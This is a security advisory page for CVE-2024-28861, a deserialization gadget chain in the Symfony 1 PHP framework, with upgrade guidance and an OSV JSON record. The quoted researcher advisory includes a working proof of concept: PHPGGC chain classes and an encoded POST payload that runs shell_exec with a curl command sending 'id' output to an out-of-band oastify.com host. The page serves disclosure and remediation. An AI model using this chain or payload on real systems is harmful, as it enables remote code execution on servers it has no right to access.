CVE-2024-28861: Friendsofsymfony1/symfony1 Gadget Chain Vulnerability

MODERATE
Advisory Identifier: GHSA-pv9j-c53q-h433
CWE-502
Published
Advisory Summary

CVE-2024-28861 is a MODERATE gadget chain vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Friendsofsymfony1/symfony1 libraries in the Packagist ecosystem. The issue involves gadget chain in symfony 1 due to uncontrolled unserialized input in sfnamespacedparameterholder. Remediation is available by upgrading affected packages to version 1.5.19.

CVE-2024-28861 at a Glance

CVE Identifier CVE-2024-28861
GHSA Identifier GHSA-pv9j-c53q-h433
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Friendsofsymfony1/symfony1
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2024-28861

To remediate this vulnerability, upgrade all affected Friendsofsymfony1/symfony1 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

friendsofsymfony1/symfony1 fixed: 1.5.19
Upgrade friendsofsymfony1/symfony1 to 1.5.19
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for friendsofsymfony1/symfony1

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-28861, inspect your project dependencies for Friendsofsymfony1/symfony1:

inspect dependencies for friendsofsymfony1/symfony1

Analyze the terminal output to locate any version of Friendsofsymfony1/symfony1 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.19), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Friendsofsymfony1/symfony1, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Symfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project. ### Details This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example: ```php public function executeIndex(sfWebRequest $request) { $a = unserialize($request->getParameter('user')); } ``` We will make the assumption this is the case in the rest of this explanation. Symfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method: ```php public function unserialize($serialized) { $this->__unserialize(unserialize($serialized)); } ``` Which make an array access on the deserialized data without control on the type of the `$data` parameter: ```php public function __unserialize($data) { $this->default_namespace = $data[0]; $this->parameters = $data[1]; } ``` Thus, an attacker provide any object type in `$data` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `$data[0]` for any class implementing `ArrayAccess` interface. `sfOutputEscaperArrayDecorator` implements such interface. Here is the call made on `offsetGet()`: ```php public function offsetGet($offset) { $value = isset($this->value[$offset]) ? $this->value[$offset] : null; return sfOutputEscaper::escape($this->escapingMethod, $value); } ``` Which trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this->escapingMethod` and `$this->value[$offset]`: ```php public static function escape($escapingMethod, $value) { if (null === $value) { return $value; } // Scalars are anything other than arrays, objects and resources. if (is_scalar($value)) { return call_user_func($escapingMethod, $value); } ``` Which calls `call_user_func` with previous attacker controlled input. ### PoC So we need the following object to trigger an OS command like `shell_exec("curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)");`: ```php object(sfNamespacedParameterHolder)#4 (1) { ["prop":protected]=> object(sfOutputEscaperArrayDecorator)#3 (2) { ["value":protected]=> array(1) { [0]=> string(66) "curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)" } ["escapingMethod":protected]=> string(10) "shell_exec" } } ``` We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before: * gadgets.php: ```php class sfOutputEscaperArrayDecorator { protected $value; protected $escapingMethod; public function __construct($escapingMethod, $value) { $this->escapingMethod = $escapingMethod; $this->value = $value; } } class sfNamespacedParameterHolder implements Serializable { protected $prop = null; public function __construct($prop) { $this->prop = $prop; } public function serialize() { return serialize($this->prop); } public function unserialize($serialized) { } } ``` * chain.php: ```php namespace GadgetChain\Symfony; class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall { public static $version = '1.1.0 <= 1.5.18'; public static $vector = 'Serializable'; public static $author = 'darkpills'; public static $information = ''; public function generate(array $parameters) { $escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter'])); $tableInfo = new \sfNamespacedParameterHolder($escaper); return $tableInfo; } } ``` And trigger the deserialization with an HTTP request like the following on a dummy test controller: ```http POST /frontend_dev.php/test/index HTTP/1.1 Host: localhost:8001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 532 user=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D ``` Note that CVSS score is not applicable to this kind of vulnerability. ### Impact The attacker can execute any PHP command which leads to remote code execution. ### Recommendation I recommend to add a type checking before doing any processing on the unserialized input like this example: ```php public function unserialize($data) { if (is_array($data)) { $this->default_namespace = $data[0]; $this->parameters = $data[1]; } else { $this->default_namespace = null; $this->parameters = array(); // or throw an exception maybe? } } ``` This fix should be applied in both `sfNamespacedParameterHolder` and `sfParameterHolder`.

CVE-2024-28861 Affected Friendsofsymfony1/symfony1 Versions

1 component(s)
Fixed Versions:
1.5.19
Product / Package Ecosystem Affected Versions Fixed Version
friendsofsymfony1/symfony1
Packagist
≥ 1.1.0
< 1.5.19
1.5.19

References

Frequently Asked Questions

What is CVE-2024-28861?
CVE-2024-28861 is a security vulnerability in Friendsofsymfony1/symfony1 involving Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder under CWE-502: Deserialization of Untrusted Data.
Which Friendsofsymfony1/symfony1 versions are affected?
Affected versions include releases prior to 1.5.19 across affected packages: friendsofsymfony1/symfony1.
What version fixes CVE-2024-28861?
Upgrading to 1.5.19 (or the latest patched release for your respective branch) resolves the vulnerability.
Is friendsofsymfony1/symfony1 affected?
Yes, friendsofsymfony1/symfony1 is affected in releases prior to 1.5.19. Upgrade your dependency to 1.5.19 or later.
What CWE is associated with CVE-2024-28861?
CVE-2024-28861 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check Packagist dependencies for CVE-2024-28861?
Run the dependency tree command: 'inspect dependencies for friendsofsymfony1/symfony1'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pv9j-c53q-h433",
  "modified" : "2024-07-25T13:36:28Z",
  "published" : "2024-03-22T16:56:18Z",
  "aliases" : [ "CVE-2024-28861" ],
  "summary" : "Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder",
  "details" : "### Summary\nSymfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.\n\n### Details\nThis vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:\n```php\n public function executeIndex(sfWebRequest $request)\n  {\n    $a = unserialize($request->getParameter('user'));\n  }\n```\n\nWe will make the assumption this is the case in the rest of this explanation.\n\nSymfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method:\n```php\n    public function unserialize($serialized)\n    {\n        $this->__unserialize(unserialize($serialized));\n    }\n```\n\nWhich make an array access on the deserialized data without control on the type of the `$data` parameter:\n```php\n    public function __unserialize($data)\n    {\n        $this->default_namespace = $data[0];\n        $this->parameters = $data[1];\n    }\n```\n\nThus, an attacker provide any object type in `$data` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `$data[0]` for any class implementing `ArrayAccess`  interface. `sfOutputEscaperArrayDecorator`  implements such interface. Here is the call made on `offsetGet()`:\n```php\n  public function offsetGet($offset)\n    {\n        $value = isset($this->value[$offset]) ? $this->value[$offset] : null;\n\n        return sfOutputEscaper::escape($this->escapingMethod, $value);\n    }\n```\nWhich trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this->escapingMethod` and `$this->value[$offset]`:\n```php\n  public static function escape($escapingMethod, $value)\n  {\n    if (null === $value)\n    {\n      return $value;\n    }\n\n    // Scalars are anything other than arrays, objects and resources.\n    if (is_scalar($value))\n    {\n      return call_user_func($escapingMethod, $value);\n    }\n```\nWhich calls `call_user_func` with previous attacker controlled input.\n\n\n### PoC\n\nSo we need the following object to trigger an OS command like `shell_exec(\"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\");`:\n\n```php\nobject(sfNamespacedParameterHolder)#4 (1) {\n  [\"prop\":protected]=>\n  object(sfOutputEscaperArrayDecorator)#3 (2) {\n    [\"value\":protected]=>\n    array(1) {\n      [0]=>\n      string(66) \"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\"\n    }\n    [\"escapingMethod\":protected]=>\n    string(10) \"shell_exec\"\n  }\n}\n```\n\nWe craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:\n* gadgets.php:\n```php\nclass sfOutputEscaperArrayDecorator\n{\n  protected $value;\n\n  protected $escapingMethod;\n\n  public function __construct($escapingMethod, $value) {\n    $this->escapingMethod = $escapingMethod;\n    $this->value = $value;\n  }\n}\n\nclass sfNamespacedParameterHolder implements Serializable \n{\n    protected $prop = null;\n\n    public function __construct($prop) {\n      $this->prop = $prop;\n    }\n\n    public function serialize()\n    {\n        return serialize($this->prop);\n    }\n\n    public function unserialize($serialized)\n    {\n        \n    }\n}\n\n```\n\n* chain.php:\n```php\nnamespace GadgetChain\\Symfony;\n\nclass RCE16 extends \\PHPGGC\\GadgetChain\\RCE\\FunctionCall\n{\n    public static $version = '1.1.0 <= 1.5.18';\n    public static $vector = 'Serializable';\n    public static $author = 'darkpills';\n    public static $information = '';\n\n    public function generate(array $parameters)\n    {\n        $escaper = new \\sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));\n\n        $tableInfo = new \\sfNamespacedParameterHolder($escaper);\n        \n        return $tableInfo;\n    }\n}\n```\n\nAnd trigger the deserialization with an HTTP request like the following on a dummy test controller:\n\n```http\nPOST /frontend_dev.php/test/index HTTP/1.1\nHost: localhost:8001\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 532\n\nuser=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D\n```\n\nNote that CVSS score is not applicable to this kind of vulnerability.\n\n### Impact\nThe attacker can execute any PHP command which leads to remote code execution.\n\n### Recommendation\nI recommend to add a type checking before doing any processing on the unserialized input like this example:\n```php\npublic function unserialize($data)\n{\n    if (is_array($data)) {\n      $this->default_namespace = $data[0];\n      $this->parameters = $data[1];\n    } else {\n      $this->default_namespace = null;\n      $this->parameters = array();\n\n      // or throw an exception maybe?\n    }\n}\n```\n\nThis fix should be applied in both `sfNamespacedParameterHolder` and `sfParameterHolder`.",
  "severity" : [ ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "friendsofsymfony1/symfony1"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.1.0"
      }, {
        "fixed" : "1.5.19"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FriendsOfPHP/security-advisories/blob/master/friendsofsymfony1/symfony1/CVE-2024-28861.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FriendsOfSymfony1/symfony1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-22T16:56:18Z",
    "nvd_published_at" : "2024-03-22T17:15:07Z"
  }
}